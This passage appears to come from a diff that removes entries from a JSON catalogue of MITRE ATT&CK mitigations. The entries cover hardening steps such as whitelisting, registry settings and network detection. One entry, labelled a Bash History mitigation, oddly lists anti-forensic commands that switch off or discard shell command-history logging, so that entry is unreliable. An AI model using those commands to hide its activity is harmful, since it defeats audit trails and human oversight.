(Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", - "value": "Timestomp Mitigation - T1099", - "uuid": "5c167af7-c2cb-42c8-ae67-3fb275bf8488" - }, - { - "description": "Identify unnecessary system utilities or potentially malicious software that may be used to acquire information about a system's network configuration, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", - "value": "System Network Configuration Discovery Mitigation - T1016", - "uuid": "684feec3-f9ba-4049-9d8f-52d52f3e0e40" - }, - { - "description": "Directly mitigating module loads and API calls related to module loads will likely have unintended side effects, such as preventing legitimate software from operating properly. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identifying and correlated subsequent behavior to determine if it is the result of malicious activity.", - "value": "Execution through Module Load Mitigation - T1129", - "uuid": "cfd2cd3b-93e7-4b3e-ab46-f8bcafdbdfcf" - }, - { - "description": "Networks that allow for open development and testing of Web content and allow users to set up their own Web servers on the enterprise network may be particularly vulnerable if the systems and Web servers are not properly secured to limit privileged account use, unauthenticated network share access, and network/system isolation.\n\nEnsure proper permissions on directories that are accessible through a Web server. Disallow remote access to the webroot or other directories used to serve Web content. Disable execution on directories within the webroot. Ensure that permissions of the Web server process are only what is required by not using built-in accounts; instead, create specific accounts to limit unnecessary access or permissions overlap across multiple systems.", - "value": "Shared Webroot Mitigation - T1051", - "uuid": "43b366a4-b5ff-4d4e-8a3b-f09a9d2faff5" - }, - { - "description": "Limit privileges of user accounts and remediate Privilege Escalation vectors so only authorized administrators can create scheduled tasks. Toolkits like the PowerSploit framework contain PowerUp modules that can be used to explore systems for permission weaknesses in scheduled tasks that could be used to escalate privileges. (Citation: Powersploit)\n\nConfigure settings for scheduled tasks to force tasks to run under the context of the authenticated account instead of allowing them to run as SYSTEM. The associated Registry key is located at HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\SubmitControl. The setting can be configured through GPO: Computer Configuration > [Policies] > Windows Settings > Security Settings > Local Policies > Security Options: Domain Controller: Allow server operators to schedule tasks, set to disabled. (Citation: TechNet Server Operator Scheduled Task)\n\nConfigure the Increase Scheduling Priority option to only allow the Administrators group the rights to schedule a priority process. This can be can be configured through GPO: Computer Configuration > [Policies] > Windows Settings > Security Settings > Local Policies > User Rights Assignment: Increase scheduling priority. (Citation: TechNet Scheduling Priority)\n\nIdentify and block unnecessary system utilities or potentially malicious software that may be used to schedule tasks using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", - "value": "Scheduled Task Mitigation - T1053", - "uuid": "f2cb6ce2-188d-4162-8feb-594f949b13dd" - }, - { - "description": "Identify potentially malicious software that may be executed from a padded or otherwise obfuscated binary, and audit and/or block it by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", - "value": "Binary Padding Mitigation - T1009", - "uuid": "16a8ac85-a06f-460f-ad22-910167bd7332" - }, - { - "description": "Ensure that all wireless traffic is encrypted appropriately. Use Kerberos, SSL, and multifactor authentication wherever possible. Monitor switches and network for span port usage, ARP/DNS poisoning, and router reconfiguration.\n\nIdentify and block potentially malicious software that may be used to sniff or analyze network traffic by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", - "value": "Network Sniffing Mitigation - T1040", - "uuid": "46b7ef91-4e1d-43c5-a2eb-00fa9444f6f4" - }, - { - "description": "Identify unnecessary system utilities, third-party tools, or potentially malicious software that may be used to encrypt files, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", - "value": "Data Encrypted Mitigation - T1022", - "uuid": "2a8de25c-f743-4348-b101-3ee33ab5871b" - }, - { - "description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Use of encryption protocols may make typical network-based C2 detection more difficult due to a reduced ability to signature the traffic. Prior knowledge of adversary C2 infrastructure may be useful for domain and IP address blocking, but will likely not be an effective long-term solution because adversaries can change infrastructure often. (Citation: University of Birmingham C2)", - "value": "Standard Cryptographic Protocol Mitigation - T1032", - "uuid": "a766ce73-5583-48f3-b7c0-0bb43c6ef8c7" - }, - { - "description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Use of encryption protocols may make typical network-based C2 detection more difficult due to a reduced ability to signature the traffic. Prior knowledge of adversary C2 infrastructure may be useful for domain and IP address blocking, but will likely not be an effective long-term solution because adversaries can change infrastructure often. (Citation: University of Birmingham C2)", - "value": "Multilayer Encryption Mitigation - T1079", - "uuid": "24478001-2eb3-4b06-a02e-96b3d61d27ec" - }, - { - "description": "When creating security rules, avoid exclusions based on file name or file path. Require signed binaries. Use file system access controls to protect folders such as C:\\Windows\\System32. Use tools that restrict program execution via whitelisting by attributes other than file name.\n\nIdentify potentially malicious software that may look like a legitimate program based on name and location, and audit and/or block it by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", - "value": "Masquerading Mitigation - T1036", - "uuid": "45e7f570-6a0b-4095-bf02-4bca05da6bae" - }, - { - "description": "Identify potentially malicious software that may be used to access logical drives in this manner, and audit and/or block it by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", - "value": "File System Logical Offsets Mitigation - T1006", - "uuid": "902286b2-96cc-4dd7-931f-e7340c9961da" - }, - { - "description": "Limit the number of accounts that may use remote services. Use multifactor authentication where possible. Limit the permissions for accounts that are at higher risk of compromise; for example, configure SSH so users can only run specific programs. Prevent Credential Access techniques that may allow an adversary to acquire Valid Accounts that can be used by existing services.", - "value": "Remote Services Mitigation - T1021", - "uuid": "979e6485-7a2f-42bd-ae96-4e622c3cd173" - }, - { - "description": "Identify unnecessary system utilities, third-party tools, or potentially malicious software that may be used to delete files, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", - "value": "File Deletion Mitigation - T1107", - "uuid": "34efb2fd-4dc2-40d4-a564-0c147c85034d" - }, - { - "description": "Identify unnecessary system utilities, third-party tools, or potentially malicious software that may be used to compress files, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)\n\nIf network intrusion prevention or data loss prevention tools are set to block specific file types from leaving the network over unencrypted channels, then an adversary may move to an encrypted channel.", - "value": "Data Compressed Mitigation - T1002", - "uuid": "28adf6fd-ab6c-4553-9aa7-cef18a191f33" - }, - { - "description": "Require that all AppleScript be signed by a trusted developer ID before being executed - this will prevent random AppleScript code from executing.", - "value": "AppleScript Mitigation - T1155", - "uuid": "1e4ef2c7-ee96-4484-9baa-3b5777561301" - }, - { - "description": "Mshta.exe may not be necessary within a given environment since its functionality is tied to older versions of Internet Explorer which have reached end of life. Use application whitelisting configured to block execution of mshta.exe if it is not required for a given system or network to prevent potential misuse by adversaries.", - "value": "Mshta Mitigation - T1170", - "uuid": "d2dce10b-3562-4d61-b2f5-7c6384b038e2" - }, - { - "description": "Windows 8.1, Windows Server 2012 R2, and later versions, may make LSA run as a Protected Process Light (PPL) by setting the Registry key HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\RunAsPPL, which requires all DLLs loaded by LSA to be signed by Microsoft. (Citation: Graeber 2014) (Citation: Microsoft Configure LSA)", - "value": "Authentication Package Mitigation - T1131", - "uuid": "943d370b-2054-44df-8be2-ab4139bde1c5" - }, - { - "description": "There are multiple methods of preventing a user's command history from being flushed to their .bash_history file, including use of the following commands:\nset +o history and set -o history to start logging again;\nunset HISTFILE being added to a user's .bash_rc file; and\nln -s /dev/null ~/.bash_history to write commands to /dev/nullinstead.", - "value": "Bash History Mitigation - T1139", - "uuid": "ace4daee-f914-4707-be75-843f16da2edf" - }, - { - "description": "Identify and block potentially malicious software that may persist in this manner by using whitelisting (Citation: Beechey 2010) tools capable of monitoring DLL loads by processes running under SYSTEM permissions.", - "value": "Port Monitors Mitigation - T1013", - "uuid": "1c6bc7f3-d517-4971-aed4-8f939090846b" - }, - { - "description": "This type of attack technique cannot be easily mitigated with preventive controls since it is based on the abuse of operating system design features. For example, mitigating all IFEO will likely have unintended side effects, such as preventing legitimate software (i.e., security products) from operating properly. (Citation: Microsoft IFEOorMalware July 2015) Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identifying subsequent malicious behavior.\n\nIdentify and block potentially malicious software that may be executed through IFEO by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) that are capable of auditing and/or blocking unknown executables.", - "value": "Image File Execution Options Injection Mitigation - T1183", - "uuid": "33f76731-b840-446f-bee0-53687dad24d9" - }, - { - "description": "Enforce that all binaries be signed by the correct Apple Developer IDs, and whitelist applications via known hashes. Binaries can also be baselined for what dynamic libraries they require, and if an app requires a new dynamic library that wasn’t included as part of an update, it should be investigated.", - "value": "LC_LOAD_DYLIB Addition Mitigation - T1161", - "uuid": "77fd4d73-6b79-4593-82e7-e4a439cc7604" - }, - { - "description": "Since browser pivoting requires a high integrity process to launch from, restricting user permissions and addressing Privilege Escalation and Bypass User Account Control opportunities can limit the exposure to this technique. \n\nClose all browser sessions regularly and when they are no longer needed.", - "value": "Man in the Browser Mitigation - T1185", - "uuid": "94f6b4f5-b528-4f50-91d5-f66457c2f8f7" - }, - { - "description": "Block .scr files from being executed from non-standard locations. Set Group Policy to force users to have a dedicated screensaver where local changes should not override the settings to prevent changes. Use Group Policy to disable screensavers if they are unnecessary. (Citation: TechNet Screensaver GP)", - "value": "Screensaver Mitigation - T1180", - "uuid": "9da16278-c6c5-4410-8a6b-9c16ce8005b3" - }, - { - "description": "To use this technique remotely, an adversary must use it in conjunction with RDP. Ensure that Network Level Authentication is enabled to force the remote desktop session to authenticate before the session is created and the login screen displayed. It is enabled by default on Windows Vista and later. (Citation: TechNet RDP NLA)\n\nIf possible, use a Remote Desktop Gateway to manage connections and security configuration of RDP within a network. (Citation: TechNet RDP Gateway)\n\nIdentify and block potentially malicious software that may be executed by an adversary with this technique by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", - "value": "Accessibility Features Mitigation - T1015", - "uuid": "c085476e-1964-4d7f-86e1-d8657a7741e8" - }, - { - "description": "Ensure proper permissions are in place to help prevent adversary access to privileged accounts necessary to perform this action. Use Trusted Platform Module technology and a secure or trusted boot process to prevent system integrity from being compromised. (Citation: TCG Trusted Platform Module) (Citation: TechNet Secure Boot Process)", - "value": "Bootkit Mitigation - T1067", - "uuid": "96150c35-466f-4f0a-97a9-ae87ee27f751" - }, - { - "description": "Take measures to detect or prevent techniques such as Credential Dumping or installation of keyloggers to acquire credentials through Input Capture. Limit credential overlap across systems to prevent access if account credentials are obtained. Ensure that local administrator accounts have complex, unique passwords across all systems on the network. Do not put user or admin domain accounts in the local administrator groups across systems unless they are tightly controlled and use of accounts is segmented, as this is often equivalent to having a local administrator account with the same password on all systems. Follow best practices for design and administration of an enterprise network to limit privileged account use across administrative tiers. (Citation: Microsoft Securing Privileged Access). Audit domain and local accounts as well as their permission levels routinely to look for situations that could allow an adversary to gain wide access by obtaining credentials of a privileged account. (Citation: TechNet Credential Theft) (Citation: TechNet Least Privilege)", - "value": "Valid Accounts Mitigation - T1078", - "uuid": "d45f03a8-790a-4f90-b956-cd7e5b8886bf" - }, - { - "description": "Only install browser extensions from trusted sources that can be verified. Ensure extensions that are installed are the intended ones as many malicious extensions will masquerade as legitimate ones.\n\nBrowser extensions for some browsers can be controlled through Group Policy. Set a browser extension white or black list as appropriate for your security policy. (Citation: Technospot Chrome Extensions GP)\n\nChange settings to prevent the browser from installing extensions without sufficient permissions.\n\nClose out all browser sessions when finished using them.", - "value": "Browser Extensions Mitigation - T1176", - "uuid": "b52f41b9-ccf6-4da7-a6c0-167eeb71fbd8" - }, - { - "description": "Ensure proper process, registry, and file permissions are in place to prevent adversaries from disabling or interfering with security services.", - "value": "Disabling Security Tools Mitigation - T1089", - "uuid": "388606d3-f38f-45bf-885d-a9dc9df3c8a8" - }, - { - "description": "Identify unnecessary system utilities or potentially malicious software that may be used to acquire information within the Registry, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", - "value": "Query Registry Mitigation - T1012", - "uuid": "0640214c-95af-4c04-a574-2a1ba6dda00b" - }, - { - "description": "Making these files immutable and only changeable by certain administrators will limit the ability for adversaries to easily create user level persistence.", - "value": ".bash_profile and .bashrc Mitigation - T1156", - "uuid": "4f170666-7edb-4489-85c2-9affa28a72e0" - }, - { - "description": "Prevent adversary access to privileged accounts or access necessary to perform this technique. Check the integrity of the existing BIOS or EFI to determine if it is vulnerable to modification. Patch the BIOS and EFI as necessary. Use Trusted Platform Module technology. (Citation: TCG Trusted Platform Module)", - "value": "System Firmware Mitigation - T1019", - "uuid": "25e53928-6f33-49b7-baee-8180578286f6" - }, - { - "description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific protocol used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)", - "value": "Multiband Communication Mitigation - T1026", - "uuid": "da987565-27b6-4b31-bbcd-74b909847116" - }, - { - "description": "Identify unnecessary system utilities or potentially malicious software that may be used to acquire information on remotely available systems, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", - "value": "Remote System Discovery Mitigation - T1018", - "uuid": "9a902722-cecd-4fbe-a6c9-49333aa0f8c2" - }, - { - "description": "File system activity is a common part of an operating system, so it is unlikely that mitigation would be appropriate for this technique. It may still be beneficial to identify and block unnecessary system utilities or potentially malicious software by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", - "value": "File and Directory Discovery Mitigation - T1083", - "uuid": "2ace01f8-67c8-43eb-b7b1-a7b9f1fe67e1" - }, - { - "description": "Use auditing tools capable of detecting file system permissions abuse opportunities on systems within an enterprise and correct them. Limit privileges of user accounts and groups so that only authorized administrators can interact with service changes and service binary target path locations. Toolkits like the PowerSploit framework contain PowerUp modules that can be used to explore systems for service file system permissions weaknesses. (Citation: Powersploit)\n\nIdentify and block potentially malicious software that may be executed through abuse of file, directory, and service permissions by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) that are capable of auditing and/or blocking unknown programs. Deny execution from user directories such as file download directories and temp directories where able. (Citation: Seclists Kanthak 7zip Installer)\n\nTurn off UAC's privilege elevation for standard users [HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System]to automatically deny elevation requests, add: \"ConsentPromptBehaviorUser\"=dword:00000000 (Citation: Seclists Kanthak 7zip Installer). Consider enabling installer detection for all users by adding: \"EnableInstallerDetection\"=dword:00000001. This will prompt for a password for installation and also log the attempt. To disable installer detection, instead add: \"EnableInstallerDetection\"=dword:00000000. This may prevent potential elevation of privileges through exploitation during the process of UAC detecting the installer, but will allow the installation process to continue without being logged.", - "value": "File System Permissions Weakness Mitigation - T1044", - "uuid": "1022138b-497c-40e6-b53a-13351cbd4090" - }, - { - "description": "Ensure that permissions disallow services that run at a higher permissions level from being created or interacted with by a user with a lower permission level. Also ensure that high permission level service binaries cannot be replaced or modified by users with a lower permission level.\n\nIdentify unnecessary system utilities or potentially malicious software that may be used to interact with Windows services, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", - "value": "Service Execution Mitigation - T1035", - "uuid": "d5dce4b9-f1fa-4c03-aff9-ce177246cb64" - }, - { - "description": "Applications with known vulnerabilities or known shell escapes should not have the setuid or setgid bits set to reduce potential damage if an application is compromised.", - "value": "Setuid and Setgid Mitigation - T1166", - "uuid": "073cc04d-ac46-4f5a-85d7-83a91ecd6a19" - }, - { - "description": "Due to potential legitimate uses of trap commands, it's may be difficult to mitigate use of this technique.", - "value": "Trap Mitigation - T1154", - "uuid": "809b79cd-be78-4597-88d1-5496d1d9993a" - }, - { - "description": "Disable Autorun if it is unnecessary. (Citation: Microsoft Disable Autorun) Disallow or restrict removable media at an organizational policy level if they are not required for business operations. (Citation: TechNet Removable Media Control)", - "value": "Communication Through Removable Media Mitigation - T1092", - "uuid": "b8d57b16-d8e2-428c-a645-1083795b3445" - }, - { - "description": "Remove smart cards when not in use. Protect devices and services used to transmit and receive out-of-band codes.\n\nIdentify and block potentially malicious software that may be used to intercept 2FA credentials on a system by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", - "value": "Two-Factor Authentication Interception Mitigation - T1111", - "uuid": "e8d22ec6-2236-48de-954b-974d17492782" - }, - { - "description": "On Windows 8.1 and Server 2012 R2, enable LSA Protection by setting the Registry key HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\RunAsPPL to dword:00000001. (Citation: Microsoft LSA Protection Mar 2014) LSA Protection ensures that LSA plug-ins and drivers are only loaded if they are digitally signed with a Microsoft signature and adhere to the Microsoft Security Development Lifecycle (SDL) process guidance.\n\nOn Windows 10 and Server 2016, enable Windows Defender Credential Guard (Citation: Microsoft Enable Cred Guard April 2017) to run lsass.exe in an isolated virtualized environment without any device drivers. (Citation: Microsoft Credential Guard April 2017)\n\nEnsure safe DLL search mode is enabled HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Control\\Session Manager\\SafeDllSearchMode to mitigate risk that lsass.exe loads a malicious code library. (Citation: Microsoft DLL Security)", - "value": "LSASS Driver Mitigation - T1177", - "uuid": "7a6e5ca3-562f-4185-a323-f3b62b5b2e6b" - }, - { - "description": "Properly configure firewalls and proxies to limit outgoing traffic to only necessary ports and through proper network gateway systems.\n\nNetwork intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific obfuscation technique used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)", - "value": "Standard Non-Application Layer Protocol Mitigation - T1095", - "uuid": "399d9038-b100-43ef-b28d-a5065106b935" - }, - { - "description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary command and control infrastructure and malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific obfuscation technique used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool command and control signatures over time or construct protocols in such a way to avoid detection by common defensive tools. (Citation: University of Birmingham C2)", - "value": "Data Transfer Size Limits Mitigation - T1030", - "uuid": "ba06d68a-4891-4eb5-b634-152e05ec60ee" - }, - { - "description": "Upgrade to Windows 8 or later and enable secure boot.\n\nIdentify and block potentially malicious software that may be executed through AppInit DLLs by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) that are capable of auditing and/or blocking unknown DLLs.", - "value": "AppInit DLLs Mitigation - T1103", - "uuid": "10571bf2-8073-4edf-a71c-23bad225532e" - }, - { - "description": "InstallUtil may not be necessary within a given environment. Use application whitelisting configured to block execution of InstallUtil.exe if it is not required for a given system or network to prevent potential misuse by adversaries.", - "value": "InstallUtil Mitigation - T1118", - "uuid": "ec418d1b-4963-439f-b055-f914737ef362" - }, - { - "description": "Limit permissions for who can create symbolic links in Windows to appropriate groups such as Administrators and necessary groups for virtualization. This can be done through GPO: Computer Configuration > [Policies] > Windows Settings > Security Settings > Local Policies > User Rights Assignment: Create symbolic links. (Citation: UCF STIG Symbolic Links)\n\nIdentify and block unknown, potentially malicious software that may be executed through shortcut modification by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", - "value": "Shortcut Modification Mitigation - T1023", - "uuid": "a13e35cc-8c90-4d77-a965-5461042c1612" - }, - { - "description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific protocol used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)", - "value": "Custom Command and Control Protocol Mitigation - T1094", - "uuid": "f3d0c735-330f-43c2-8e8e-51bcfa51e8c3" - }, - { - "description": "Identify unnecessary system utilities, scripts, or potentially malicious software that may be used to transfer data outside of a network, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", - "value": "Automated Exfiltration Mitigation - T1020", - "uuid": "2497ac92-e751-4391-82c6-1b86e34d0294" - }, - { - "description": "Direct mitigation of this technique is not recommended since it is a legitimate function that can be performed by users for software preferences. Follow Microsoft's best practices for file associations. (Citation: MSDN File Associations)\n\nIdentify and block potentially malicious software that may be executed by this technique using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", - "value": "Change Default File Association Mitigation - T1042", - "uuid": "d7c49196-b40e-42bc-8eed-b803113692ed" - }, - { - "description": "Identify unnecessary system utilities or potentially malicious software that may be used to acquire information about peripheral devices, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", - "value": "Peripheral Device Discovery Mitigation - T1120", - "uuid": "1881da33-fdf2-4eea-afd0-e04caf9c000f" - }, - { - "description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and will be different across various malware families and versions. Adversaries will likely change tool signatures over time or construct protocols in such a way to avoid detection by common defensive tools. (Citation: University of Birmingham C2)", - "value": "Standard Application Layer Protocol Mitigation - T1071", - "uuid": "addb3703-5a59-4461-9bcd-7e2b5d4e92a0" - }, - { - "description": "Prevent users from changing the HISTCONTROL environment variable (Citation: Securing bash history). Also, make sure that the HISTCONTROL environment variable is set to “ignoredup” instead of “ignoreboth” or “ignorespace”.", - "value": "HISTCONTROL Mitigation - T1148", - "uuid": "03c0c586-50ed-45a7-95f4-f496d7eb5330" - }, - { - "description": "Identify and block potentially malicious software that may be used to acquire credentials or information from the user by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)\n\nIn cases where this behavior is difficult to detect or mitigate, efforts can be made to lessen some of the impact that might result from an adversary acquiring credential information. It is also good practice to follow mitigation recommendations for adversary use of Valid Accounts.", - "value": "Input Capture Mitigation - T1056", - "uuid": "da8a87d2-946d-4c34-9a30-709058b98996" - }, - { - "description": "Restrict users from being able to create their own login items. Additionally, holding the shift key during login prevents apps from opening automatically (Citation: Re-Open windows on Mac).", - "value": "Login Item Mitigation - T1162", - "uuid": "06824aa2-94a5-474c-97f6-57c2e983d885" - }, - { - "description": "Windows 8.1, Windows Server 2012 R2, and later versions may make LSA run as a Protected Process Light (PPL) by setting the Registry key HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\RunAsPPL, which requires all SSP DLLs to be signed by Microsoft. (Citation: Graeber 2014) (Citation: Microsoft Configure LSA)", - "value": "Security Support Provider Mitigation - T1101", - "uuid": "9e57c770-5a39-49a2-bb91-253ba629e3ac" - }, - { - "description": "Ensure SSH key pairs have strong passwords and refrain from using key-store technologies such as ssh-agent unless they are properly protected. Ensure that all private keys are stored securely in locations where only the legitimate owner has access to with strong passwords and are rotated frequently. Ensure proper file permissions are set and harden system to prevent root privilege escalation opportunities. Do not allow remote access via SSH as root or other privileged accounts. Ensure that agent forwarding is disabled on systems that do not explicitly require this feature to prevent misuse. (Citation: Symantec SSH and ssh-agent)", - "value": "SSH Hijacking Mitigation - T1184", - "uuid": "41cff8e9-fd05-408e-b3d5-d98c54c20bcf" - }, - { - "description": "Identify unnecessary system utilities or potentially malicious software that may be used to acquire information about processes, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", - "value": "Process Discovery Mitigation - T1057", - "uuid": "f6469191-1814-4dbe-a081-2a6daf83a10b" - }, - { - "description": "Disable Autorun if it is unnecessary. (Citation: Microsoft Disable Autorun) Disallow or restrict removable media at an organizational policy level if it is not required for business operations. (Citation: TechNet Removable Media Control)\n\nIdentify potentially malicious software that may be used to infect removable media or may result from tainted removable media, and audit and/or block it by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", - "value": "Replication Through Removable Media Mitigation - T1091", - "uuid": "effb83a0-ead1-4b36-b7f6-b7bdf9c4616e" - }, - { - "description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary command and control infrastructure and malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific obfuscation technique used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool command and control signatures over time or construct protocols in such a way to avoid detection by common defensive tools. (Citation: University of Birmingham C2)", - "value": "Scheduled Transfer Mitigation - T1029", - "uuid": "1c0711c8-2a73-48a1-893d-ff88bcd23824" - }, - { - "description": "Prevent adversary access to privileged accounts necessary to install a hypervisor.", - "value": "Hypervisor Mitigation - T1062", - "uuid": "2c3ce852-06a2-40ee-8fe6-086f6402a739" - }, - { - "description": "Encryption and off-system storage of sensitive information may be one way to mitigate collection of files, but may not stop an adversary from acquiring the information if an intrusion persists over a long period of time and the adversary is able to discover and access the data through other means. A keylogger installed on a system may be able to intercept passwords through Input Capture and be used to decrypt protected documents that an adversary may have collected. Strong passwords should be used to prevent offline cracking of encrypted documents through Brute Force techniques.\n\nIdentify unnecessary system utilities, third-party tools, or potentially malicious software that may be used to collect files and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", - "value": "Automated Collection Mitigation - T1119", - "uuid": "8bd1ae32-a686-48f4-a6f8-470287f76152" - }, - { - "description": "Disable Autorun if it is unnecessary. (Citation: Microsoft Disable Autorun) Disallow or restrict removable media at an organizational policy level if they are not required for business operations. (Citation: TechNet Removable Media Control)", - "value": "Exfiltration Over Physical Medium Mitigation - T1052", - "uuid": "e547ed6a-f1ca-40df-8613-2ce27927f145" - }, - { - "description": "There currently aren't a lot of ways to mitigate application shimming. Disabling the Shim Engine isn't recommended because Windows depends on shimming for interoperability and software may become unstable or not work. Microsoft released an optional patch update - KB3045645 - that will remove the \"auto-elevate\" flag within the sdbinst.exe. This will prevent use of application shimming to bypass UAC. \n\nChanging UAC settings to \"Always Notify\" will give the user more visibility when UAC elevation is 